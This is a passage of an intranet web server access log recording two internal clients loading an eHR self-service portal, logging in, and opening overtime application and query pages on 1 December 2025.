(KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 192.168.11.37 - - [01/Dec/2025:09:14:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 192.168.11.37 - - [01/Dec/2025:09:14:24 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:24 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 192.168.11.37 - - [01/Dec/2025:09:14:24 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:24 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.37 - - [01/Dec/2025:09:14:29 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.37 - - [01/Dec/2025:09:14:29 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:30 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 192.168.11.37 - - [01/Dec/2025:09:14:30 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:30 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 192.168.11.37 - - [01/Dec/2025:09:14:30 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:31 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 192.168.11.37 - - [01/Dec/2025:09:14:31 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:30 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:30 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534 192.168.11.37 - - [01/Dec/2025:09:14:31 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:31 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 192.168.11.37 - - [01/Dec/2025:09:14:31 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:31 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 192.168.11.37 - - [01/Dec/2025:09:14:30 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 200 4339 192.168.11.37 - - [01/Dec/2025:09:14:30 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 200 4339 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:31 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:31 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 192.168.11.37 - - [01/Dec/2025:09:14:31 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:31 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 192.168.11.37 - - [01/Dec/2025:09:14:30 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:30 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635 192.168.11.37 - - [01/Dec/2025:09:14:31 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:31 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 192.168.11.37 - - [01/Dec/2025:09:14:31 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:31 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 192.168.11.37 - - [01/Dec/2025:09:14:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 192.168.11.37 - - [01/Dec/2025:09:14:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 192.168.11.37 - - [01/Dec/2025:09:14:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 192.168.11.37 - - [01/Dec/2025:09:14:31 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:31 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 192.168.11.37 - - [01/Dec/2025:09:14:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 192.168.11.37 - - [01/Dec/2025:09:14:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.37 - - [01/Dec/2025:09:14:32 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:32 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 192.168.11.37 - - [01/Dec/2025:09:14:32 +0800] "GET /eHR/js/functions.js HTTP/1.1" 200 11658 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:32 +0800] "GET /eHR/js/functions.js HTTP/1.1" 200 11658 192.168.11.37 - - [01/Dec/2025:09:14:36 +0800] "GET /eHR/js/date.js HTTP/1.1" 200 12630 192.168.11.37 - - [01/Dec/2025:09:14:36 +0800] "GET /eHR/js/date.js HTTP/1.1" 200 12630 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:36 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:36 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 192.168.11.37 - - [01/Dec/2025:09:14:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.37 - - [01/Dec/2025:09:14:36 +0800] "GET /eHR/js/jquery.maskedinput.min.js HTTP/1.1" 200 3568 192.168.11.37 - - [01/Dec/2025:09:14:36 +0800] "GET /eHR/js/jquery.maskedinput.min.js HTTP/1.1" 200 3568 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:36 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:36 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 192.168.11.37 - - [01/Dec/2025:09:14:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 192.168.11.37 - - [01/Dec/2025:09:14:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 192.168.11.37 - - [01/Dec/2025:09:14:59 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7754437788289406 HTTP/1.1" 200 8640 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:59 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7754437788289406 HTTP/1.1" 200 8640 192.168.11.125 - - [01/Dec/2025:09:15:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:09:15:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 192.168.11.37 - - [01/Dec/2025:09:15:06 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7754437788289406 HTTP/1.1" 200 14074 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7754437788289406" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:15:06 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7754437788289406 HTTP/1.1" 200 14074 192.168.11.37 - - [01/Dec/2025:09:15:11 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7754437788289406 HTTP/1.1" 200 14074 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7754437788289406" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:15:11 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7754437788289406 HTTP/1.1" 200 14074 192.168.11.125 - - [01/Dec/2025:09:15:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 12483 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:09:15:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 12483 192.168.11.125 - - [01/Dec/2025:09:15:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44874 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:09:15:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44874 192.168.11.125 - - [01/Dec/2025:09:15:23 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:09:15:23 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 192.168.11.125 - - [01/Dec/2025:09:15:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44874 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:09:15:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44874 192.168.11.125 - - [01/Dec/2025:09:15:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44678 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:09:15:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44678 192.168.11.37 - - [01/Dec/2025:09:15:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4071 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:15:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4071 192.168.11.37 - - [01/Dec/2025:09:15:39 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:15:39 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 192.168.11.37 - - [01/Dec/2025:09:15:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:15:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 192.168.11.37 - - [01/Dec/2025:09:15:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:15:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.37 - - 